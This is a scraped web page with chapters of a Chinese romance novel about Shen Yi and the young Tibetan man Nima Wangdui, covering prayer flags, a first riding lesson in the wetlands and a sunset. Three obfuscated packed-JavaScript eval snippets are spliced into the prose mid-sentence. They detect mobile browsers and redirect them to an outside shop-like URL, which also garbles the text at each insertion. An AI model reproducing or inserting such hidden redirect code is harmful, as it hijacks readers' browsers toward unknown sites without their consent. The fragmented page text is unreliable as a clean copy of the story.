“你相信神明能听见吗?”他忽然问。 尼玛旺堆沉默了很久,久到沈翊以为他不会回答了。 “我不知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183012|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他终于开口,声音很平实,“但我相信,人心里得有地方存放愿望。不管那愿望是给神的,还是给自己的。”他顿了顿,看向沈翊,“就像你刚才许愿。你说出口,或者不说出口,它都在那儿了。经幡只是……让愿望有个样子,能看见,能在风里飘。” 沈翊怔住了。 这个二十二岁的青年,这个会在佛前虔诚叩首、会认真讲述每一种仪轨含义的藏族青年,此刻说出的话,却剥离了所有宗教的外衣,直指人心最朴素的需求,我们需要相信,需要寄托,需要给那些无法言说的重量一个形状。 “你说得对。”沈翊低声说。 他们又坐了一会儿,直到太阳升到头顶。该下山了。 尼玛旺堆起身,最后检查了一遍经幡柱的稳固程度。他用手掌拍了拍木杆,像是在告别一个刚刚立下的老朋友。然后他转向沈翊:“走吧。” 下山的路轻松许多。沈翊的膝盖还在隐隐作痛,但心情却像那些飘扬的经幡,轻快而舒展。走到半山腰时,他忍不住回头望去。 那根崭新的经幡柱立在坡顶,在阳光下显得格外挺拔。五彩经幡在蔚蓝的天幕下飞舞,像大地向天空伸出的、充满喜悦的手臂。 “它会在这里立很久。”沈翊轻声说。 “嗯。”尼玛旺堆也停下脚步,与他一起回望,“直到下一次更换。可能是五年,也可能是十年。那时候,也许你还会再来。” 沈翊心头微震。他转过头,看向尼玛旺堆。青年的侧脸在正午的阳光下轮廓分明,眼神望着远处的经幡柱,平静而悠远。 “五年后,十年后……”沈翊重复着,忽然笑了笑,“谁知道呢。也许那时候,我已经是个熟练的帮手了。” 尼玛旺堆也笑了。他没说什么,只是伸出手,很自然地扶了一下沈翊的胳膊,帮他跨过一道较宽的石头裂缝。 那只手温暖、有力,停留的时间稍长了一秒。 只是一秒。 但沈翊觉得,有什么东西,就在那一秒里,被轻轻放在了心里。 不是承诺,不是誓言,是比那些更轻盈、也更坚实的东西,像一根刚刚立起的经幡柱,沉默地扎根,然后在风里,开始它无声而漫长的歌唱。 回到车上时,两人都累得说不出话。 尼玛旺堆发动引擎,暖气慢慢充斥车厢。沈翊靠在椅背上,看着窗外飞速后退的山景,夏鲁寺的琉璃瓦顶在视线中越来越小,最终消失在山坳之后。 但他知道,有一根五彩的柱子留在了山顶,随风祈福,默念经幡上的经,祈祷世界、万物,平安。 在风里,在阳光下,在离天空最近的山坡上。 就像有些时刻,有些人,一旦被郑重地安放在心里,就再也不会被时间轻易带走。 车子驶上公路,向着家的方向。 沈翊闭上眼睛,在引擎平稳的嗡鸣中,他仿佛还能听见经幡猎猎作响的声音,一声声,一下下,像心跳,像呼吸,像这片土地古老而温柔的脉搏。 而他的心跳,不知从何时起,已悄然与那节奏重合。 40. -追忆·过去3- ‘记忆有时是顺着气味攀爬的藤蔓’。 后来沈翊想,如果西藏的气味是一本厚重的经卷,那么骑马那天的气味,一定是其中被反复摩挲、页脚卷起的一页。 混合着干草的微甜、马匹皮毛的暖腥、湿地泥土的湿润,还有尼玛旺堆递来的那块奶渣在口腔化开时,那股浓烈到几乎呛人的醇厚奶香。 那是在刚来西藏不久,刚在湿地跌倒弄.湿衣服的之后。 沈翊盘腿坐在主屋的火炉边,正对着笔记本屏幕发呆。 他在尝试写点什么,关于这些日子,关于这片土地,但文字总是显得苍白。 门帘被掀开,带进一股冷飕飕的寒气,尼玛旺堆探进半个身子,肩头和发梢沾着未化的雪粒。 “哥,”他叫了一声,眼睛在炉火的映照下亮得惊人,“想不想学骑马?” 沈翊抬起头,一时没反应过来。 “骑马?” “嗯。今天天气好,马也闲。”尼玛旺堆走进来,拍了拍身上的雪,“湿地里那几匹,认得我,很温顺的。” 沈翊合上笔记本。 心脏莫名地快跳了两下,被他这幅可爱的样子轻轻撞了一下。 他想起了小时候在公园里骑过的、被人牵着慢慢走的矮种马,想起了电影里那些在草原上驰骋的潇洒画面,那些都遥远得像另一个世界的事。 “我……没骑过马。”他说,声音有些干,也有点紧张。 “所以才要学。”尼玛旺堆说得理所当然,仿佛这是世界上最自然的事情,“走吧,穿厚点,湿地里风大。” 他们出发时已是午后两点。高原上的太阳斜挂着,光线金黄而透明,把两人的影子拉得细长。 尼玛旺堆没开车,说是路不远,今天就走路去。他背着一个鼓囊囊的藏式布包,走在前头,脚步轻快稳健。 沈翊跟在后面,看着他的背影,今天尼玛旺堆穿了件深褐色的藏袍,腰束得很紧,更显得肩宽腰窄,步伐间有种猎豹般的流畅感。 “马是湿地里野放的?”沈翊加快几步,与他并肩。上次去的时候他没有看到马。 “算是。有几匹是村里人共有的,夏天驮东西,冬天就散养在湿地。”尼玛旺堆侧过头看他,“它们认得我。我小时候常去喂盐巴。” “喂盐巴?” “马需要盐分,冬天草料营养不够,喂点盐,它们就愿意亲近你。”尼玛旺堆说着,从口袋里掏出一块用油纸包着的、黄褐色的晶体,“看,就是这个。” 沈翊接过,凑近闻了闻,没什么特别气味。他想起小时候看的西部片,牛仔们也会给马喂盐块。 “你好像……很懂动物。”他轻声说,随即又想起第一次来的时候是去给鸟和植物拍照,这次是去照顾马。 尼玛旺堆沉默了几秒,才开口:“不算太懂。只是觉得,你跟它们好好说话,它们能听懂。”他顿了顿,“人总觉得自己比动物聪明,其实动物懂得更多,懂得天什么时候要下雪,懂得哪里的草最甜,懂得谁对它好。” 沈翊没接话,他想起家里那只高冷的猫,想起湿地里的牦牛,想起在手机里看到的那只被僧人收养的小动物。 在这片土地上,人与动物的界限似乎不像其他地方那样分明,不是“宠物”与“主人”,而是共享同一片天地的、不同形态的生命。 湿地很快出现在眼前。冬日的湿地褪去了春夏的丰腴,呈现出一种粗粝而坦荡的美感。枯黄的草甸一望无际,间或有未结冰的水洼像镜子般镶嵌其中,倒映着天空和远山,还有附近的树,在倒影处形成美丽的风景线,几匹马散落在远处,正低头啃食着干草。 尼玛旺堆停下脚步,将两根手指抵在唇边,吹出一声悠长而清越的口哨。 口哨声在空旷的湿地上传得很远。 远处的马群抬起头,其中一匹白马格外显眼,它比同伴高大些,毛色在阳光下泛着银亮的光泽。它侧耳听了听,随即扬蹄朝着他们的方向小跑而来。 沈翊屏住了呼吸。 他曾在北京的动物园和马术俱乐部见过马,但那些马都隔着栅栏或绳索,带着被驯服后的温顺与疏离。与这里的不同。 白马奔跑的姿态自由而舒展,四蹄踏过枯草时溅起细碎的冰碴,脖颈的鬃毛在风中飘扬,潇洒及了。 它径直跑到尼玛旺堆面前才停下,喷着白色的鼻息,用脑袋亲昵地蹭了蹭他的肩膀。 “这是‘嘎玛’,”尼玛旺堆抚摸着白马的脖颈,声音温和下来,“藏语里是星星的意思。它今年七岁,正是年少轻狂的时候。” 沈翊站在一旁,看着这一人一马的互动。 尼玛旺堆的手掌宽大,抚摸马颈的动作却异常轻柔,像是在安抚一个老朋友。白马闭上眼睛,似乎很享受,偶尔甩甩头,鬃毛扫过尼玛旺堆的手臂。 “来,”尼玛旺堆转向沈翊,“摸摸它。别怕,它不撞人。” 沈翊犹豫着伸出手,指尖触碰到马颈的瞬间,一种神奇的触感传来,皮毛光滑而温暖,底下的肌肉结实有力,能感受到血液奔流带来的轻微震颤。 白马转过头,用那双湿漉漉的、睫毛浓密的大眼睛看了他一眼,眼神平静而好奇。像是在说:“人类?这你新朋友” “它喜欢你呢。”尼玛旺堆笑了。 “你怎么知道?” “马的眼睛不会说谎。”尼玛旺堆说着,从布包里拿出一条叠好的鞍垫,“来,我们先从备鞍开始。” 接下来的半个小时,沈翊体验了一种全新的“学习”。 尼玛旺堆教他如何将鞍垫平稳地放在马背上,如何调整肚带的松紧。“不能太紧,勒着它难受;也不能太松,待会儿你会滑下来。”他的讲解细致而耐心,每一个步骤都亲自示范,然后让沈翊尝试。 沈翊的手指因为紧张而有些笨拙,系肚带时,他试了几次都没系好。尼玛旺堆没有催促,只是站在一旁看着,偶尔在他明显犯错时轻声提醒:“反了,从下面穿过去。” 终于备好鞍,尼玛旺堆拍拍马背:“上吧,我扶着你。” 沈翊看着马背的高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183013|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度,突然感到一阵心虚,他想起小时候那次公园骑马的经历,他被父亲抱上马背,马一动,他就吓得尖叫,最后被母亲抱下来,还被其他孩子嘲笑。从那以后,他对“骑马”这件事总有种隐秘的恐惧。 “我……”他张了张嘴。 “没事的。”尼玛旺堆似乎看穿了他的犹豫。他走到沈翊身边,将一只手稳稳地放在他的后腰,“左脚踩马镫,右手抓鞍桥,我数一二三,你就用力上去。我会扶住你。” 他的声音很低,很近,带着十足的自信,沈翊深吸一口气,按照指示将左脚伸进马镫。 “一、二、三” 沈翊用力一蹬,身体腾空的瞬间,尼玛旺堆的手在他后腰稳稳一托。 下一秒,他已经坐在了马背上。 视野骤然升高。 湿地的全景在眼前展开,枯黄的草甸延伸到天际线与雪山相接,零散的水洼像破碎的镜面,反射着天空的蓝。 风从四面八方吹来,比站在地上时更凛冽,却也更自由。 “感觉怎么样?”尼玛旺堆仰头问他,手还扶着马鞍。 “好高。”沈翊诚实地说,双手紧紧抓住鞍桥。 “习惯就好。”尼玛旺堆将缰绳递到他手里,“握紧,但别太用力,马能感觉到你的紧张。” 沈翊接过缰绳,皮革的质感粗糙而结实。 他低头看着尼玛旺堆,从这个角度,能清楚地看到他浓密的睫毛,看到他仰视时拉长的脖颈线条,看到他眼中毫不掩饰的笑意。 “现在,让嘎玛慢慢走。”尼玛旺堆松开扶着马鞍的手,退开两步,“轻轻夹一下马腹,别太用力。” 沈翊照做。 几乎是同时,白马迈开了步子。 那是一种极其奇妙的体验。 马匹行走的节奏缓慢而平稳,沈翊的身体随着这节奏轻轻摇晃,起初僵硬,渐渐放松。他学着尼玛旺堆教的那样,挺直背,放松肩膀,目光看向前方。 尼玛旺堆走在马侧,与他保持着一步的距离。他不时抬头看沈翊,提醒他调整姿势:“背再直一点……对……手放松,让缰绳有一点……” 湿地的风迎面吹来,带着枯草和泥土的气息,沈翊的呼吸渐渐平稳,心脏的跳动从最初的慌乱,变成了一种兴奋的、充满生命力的搏动。 他低头看自己的手,握着缰绳的手指因为用力而微微发白,但已经不再颤抖。 “很好。”尼玛旺堆说,声音里带着赞许,“现在试试让它小跑。脚后跟轻轻磕一下马腹,同时身体微微前倾。” 沈翊犹豫了一瞬,还是照做了。 白马加快了步伐,从行走转为小跑。 世界瞬间变得不一样了。 风声在耳畔呼啸而过,眼前的景色开始流动。 枯草向后飞掠,水洼的倒影碎成一片片光斑,马背的起伏变得明显,沈翊的身体不由自主地随着这起伏调整重心,起,落,起,落,像在跳一支与大地共鸣的舞。 有那么几秒钟,他完全忘记了恐惧。 41. -追忆·过去4- 他忘记了自己是个从都市逃来的落魄者,忘记了那些背叛与伤害,甚至忘记了正走在他身旁的尼玛旺堆。他只是一个骑在马背上的人,在冬日的湿地里,迎着风,向着光,向着无限开阔的前方。 然后,意外发生了。 一只受惊的野兔突然从旁边的草窠里窜出,直直冲过马前。 白马惊得猛地扬起前蹄,发出一声嘶鸣。 沈翊猝不及防,身体向后仰倒。 失去平衡的瞬间,他脑子里一片空白,只来得及闭上眼睛,等待落地时的疼痛。 疼痛没有来。 一只强有力的手臂从侧面猛地揽住了他的腰,将他从马背上几乎整个抱了下来。同时,另一只手紧紧抓住了缰绳,用力向后一拉,低喝了一声藏语。 白马的前蹄落下,躁动地踏了几步,但很快平静下来。 沈翊惊魂未定地睁开眼睛,发现自己半个身子悬在空中,全靠尼玛旺堆的手臂支撑着,他的后背紧贴着尼玛旺堆的胸膛,能清晰地感受到对方胸腔里剧烈的心跳。 “没事了。”尼玛旺堆的声音在耳边响起,带着急促的喘息,“嘎玛只是吓了一跳。你……还好吗?” 沈翊这才意识到两人的姿势有多亲密。他的脸瞬间烧了起来,挣扎着想站直:“我、我没事……” 尼玛旺堆扶着他站稳,但手还留在他腰侧,似乎是在确认他真的没事。那双总是平静的眼睛里,此刻盛满了未散去的紧张和担忧。 “对不起,”沈翊低下头,为自己的笨拙感到羞愧,“我太没用了。” “说什么呢。”尼玛旺堆松开手,语气恢复了平时的温和,“第一次骑马,谁都会紧张。你刚才做得很好,真真的。”他强调似的又加了一句。 沈翊抬起头,撞上他的目光。那双深棕色的眼睛里,倒映着自己有些狼狈的样子,还有湿地辽阔的天空。 “谢谢。”他轻声说。 尼玛旺堆摇摇头,转身去安抚还在不安踏地的白马。 他抚摸着马颈,低声用藏语说着什么,那声音低沉而温柔,像在哄一个受惊的孩子。白马渐渐平静下来,重新低下头,蹭了蹭他的手。 “还继续吗?”尼玛旺堆回过头问他。 沈翊看着白马,又看看尼玛旺堆,深吸一口气:“继续。” 这一次,尼玛旺堆没有走在马侧。他翻身上了另一匹棕色的马,那是后来从湿地深处慢慢踱过来的。两匹马并肩而行,沈翊握着缰绳的手稳了许多。 “看前面,”尼玛旺堆在他旁边说,“别总盯着马头。骑马和开车一样,要看你要去的方向。” 沈翊依言看向前方。 湿地在这一段微微隆起,形成一个平缓的坡地。坡顶有几块巨大的岩石,在夕阳下投出长长的影子。 “我们去那儿。”尼玛旺堆指了指坡顶。 他们并肩而行,马蹄踏过枯草,发出沙沙的声响。 沈翊渐渐找到了节奏,身体的起伏与马匹的步伐渐渐同步,像是两个生命体在无声中达成了某种默契。他松开了一直紧握的缰绳,让双手自然下垂,只在需要调整方向时轻轻拉动。 “就是这样。”尼玛旺堆的声音里带着笑意,“你学得很快。” 沈翊侧过头看他。 夕阳从西边斜射过来,给尼玛旺堆的侧脸镀上一层金边。 他骑马的姿态放松而优雅,身体随着马匹的步伐自然晃动,仿佛他生来就该在马背上。 “你什么时候学会骑马的?”沈翊问。 “记不清了。”尼玛旺堆想了想,“大概五六岁?我阿爸把我放在马背上,牵着马在院子里走。后来大一点,就自己骑着小马驹在村里跑。”他顿了顿,声音低了些,“马是我们生活的一部分,就像牛、羊一样。” 沈翊想起了自己的童年,城市的楼房,狭窄的街道,周末被关在各种才艺班里。他学过钢琴,学过法语,学过奥数,但从来没有学过如何与一匹马相处,如何读懂风的语言,如何在大地上自由地奔跑。 “真羡慕你。”他轻声说。 尼玛旺堆转过头,深深看了他一眼:“我也羡慕你。” “羡慕我什么?”沈翊诧异。 “羡慕你见过那么多我没见过的东西。”尼玛旺堆的目光望向前方,“高楼,地铁,那种……很多人挤在一起的生活。虽然能看出你不喜欢哪里,但那也是另一种样子的世界,很多种不一样的世界,组合起来才是完整的世界。” 沈翊沉默了。 他从未想过,自己拼命逃离的,竟会是别人向往的。 “人总是这样,”他最后说,“羡慕自己得不到的生活。” “可能吧。”尼玛旺堆笑了笑,“所以我们现在这样,就很好。” 他们到达坡顶时,太阳已经低垂到雪山边缘。 整片湿地在夕阳的余晖中变成了温暖的金黄色,每一个水洼都像燃烧的小火盆,反射着璀璨的夕阳。 远处,扎西仑布寺的轮廓在暮色中若隐若现,更远处,是连绵的、被雪覆盖的山脉。 尼玛旺堆先下马,然后走过来,像之前那样扶着沈翊下来。这一次,沈翊的动作熟练了许多,落地时稳稳站住。 “看,”尼玛旺堆指着西边的天空,“晚霞。” 沈翊抬头望去。 那是他此生见过的最壮丽的日落。 云层被火焰点燃,从橙红渐变为紫红,再融进深蓝的天空。 整个世界沉浸在一种辉煌而温柔的静谧中,连风都仿佛放慢了脚步。 他们并排站在岩石上,看着这天地间无声的变化,两匹马在身后安静地啃草,偶尔发出满足的鼻息声。 “这里真好。”沈翊轻声说,仿佛声音大一点就会打破这份宁静。 “嗯。”尼玛旺堆应了一声。他从布包里拿出那壶青稞酒和两个木碗,倒满,递给沈翊一碗。 没有敬天敬地的仪式,只是轻轻碰了一下碗沿。 酒液温润,带着青稞特有的香气。 沈翊喝了一大口,凉意从喉咙一直蔓延到四肢。 “今天谢谢你。”他看着碗里晃动的液体,“教我骑马。” 尼玛旺堆摇摇头,没说话。他仰头喝完自己碗里的酒,然后转过头,看着沈翊。夕阳的光落在他眼睛里,让那双总是显得沉稳的眼睛,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183014|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻闪烁着近乎温柔的光芒。 “沈翊,”他忽然叫他的名字,声音很轻,“你什么……时候回去?” 这个问题来得突然,沈翊愣了一下,心脏不知为何微微收紧。 “我不知道。”他诚实地说,“也许……也许不会那么快。” 尼玛旺堆点点头,目光重新投向远方的雪山。 他沉默了很久,久到沈翊以为对话已经结束。 “那就好。”他最后说,声音几乎被风吹散。 沈翊没听清:“什么?” “没什么。”尼玛旺堆转回头,脸上又恢复了平日那种温和的笑容,“天快黑了,我们回去吧。” 回程时,尼玛旺堆让沈翊骑那匹棕色的马,他说这匹更温顺。他自己则牵着两匹马的缰绳,走在前面。 随着时间的流逝,湿地的轮廓渐渐模糊。 天边还剩最后一抹暗红的光,星星开始一颗接一颗地亮起来。 沈翊坐在马背上,看着尼玛旺堆走在前面开路的背影。 他忽然想起很久以前读过的一句,记不清是谁写的了:“当你骑马穿过黑夜,你就是自己的灯。” 而现在,他想,也许不必自己做灯。 因为前面有个人,已经为他照亮了路。 回到村庄时,天已经完全黑了。 阿妈米玛啦站在院门口,手里拿着手电筒,暖黄的光晕在寒夜里像一个小小的、温暖的岛屿。 “回来了?”她用刚学的生硬的汉语问,眼睛在两人身上扫过,最后落在沈翊被风吹得发红的脸上。 “嗯,回来了。”尼玛旺堆接过母亲手里的灯,“阿妈,我们骑马去了。” 阿妈米玛啦点点头,没多问,只是转身往屋里走:“饭热着呢,快进来吃。” 沈翊下马时,腿因为长时间骑马而有些发软,尼玛旺堆伸手扶了他一把。 只是一点点。 但足够让沈翊无比的紧张。 晚饭后,沈翊坐在火炉边,膝盖上摊着笔记本。 屏幕是空白的,但他并不着急,他只是静静地坐着,听着炉火噼啪的轻响,听着阿妈米玛啦低低的诵经声,听着尼玛旺堆在院子里喂牛时,偶尔传来的、哼唱般的藏语小调。 他闭上眼睛。 眼前浮现的,是湿地里那匹白马奔跑而来的身影,是马背上看到的辽阔天地,是夕阳下尼玛旺堆被金光照亮的侧脸,是那个险些坠马时、有力而温暖的拥抱。 还有最后,暮色中那个走在前面的、为他照亮归途的背影。 沈翊拿起笔,在空白的文档上敲下第一行字: “记忆是有温度的。有些温度藏在火炉里,有些藏在手心里,有些藏在暮色中那个为你牵马的人的背影里。” 他停了一下,继续写: “而有些温度,是你骑在马背上,迎着风,第一次感觉到自己真正活着时,从心脏最深处涌出来的、滚烫的喜悦。” 窗外,西藏的夜空星河璀璨。 屋内,炉火正旺。 有些东西——会在风里生长,在时光中摇曳,成为他生命里,再也不会被轻易吹走的记忆。